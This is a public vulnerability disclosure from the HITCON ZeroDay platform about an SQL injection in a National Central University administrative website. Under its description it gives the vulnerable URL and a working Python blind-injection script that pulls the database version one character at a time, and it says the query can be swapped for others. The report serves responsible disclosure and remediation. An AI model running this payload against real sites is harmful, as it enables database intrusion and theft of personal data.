Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00099
- Vendor: 國立中央大學
- Title: 中央大學總務處文書組網站存在sqli
- Introduction: sqli
處理狀態
目前狀態
公開
Last Update : 2021/05/07
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/03/07 17:59:12 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2021/03/07 23:22:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/03/08 14:53:36 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/03/08 14:53:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/03/08 14:53:36 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/05/07 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00099
- 通報者:lebr0n_li (wqwfeoipwqjfpwiejfdpioqweoifjqwf)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://oga.ncu.edu.tw/ncuoga/dispatch/law_ajax.php?type=law&action=getSonType&type1=
敘述
type1處可注入,union based好像會被WAF擋,這裡用boolean based拿db version
select version()可改其他語句
python3 POC:
import requests
base_url = "http://oga.ncu.edu.tw/ncuoga/dispatch/law_ajax.php?type=law&action=getSonType&type1="
payload = "' and ascii(mid((select version()),{p},1))>{c} and ''='"
flag = ''
for i in range(1, 16):
mid = int(255 / 2)
max_c = 255
min_c = 1
while min_c != mid:
payload_url = base_url + payload.format(p=i, c=mid)
resp = requests.session().get(url=payload_url).text
if '郵件收發' in resp:
min_c, mid = mid, int((mid + max_c) / 2) # c 太小
else:
max_c, mid = mid, int((mid + min_c) / 2) # c 太大
print(f"found:{chr(min_c + 1)}")
flag += chr(min_c + 1)
print(f"now flag:{flag}")
因為是總務處底下的網站,為避免有個資的問題,建議儘早修補
修補建議
過濾變數,並檢查其他類似欄位有無相似問題
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。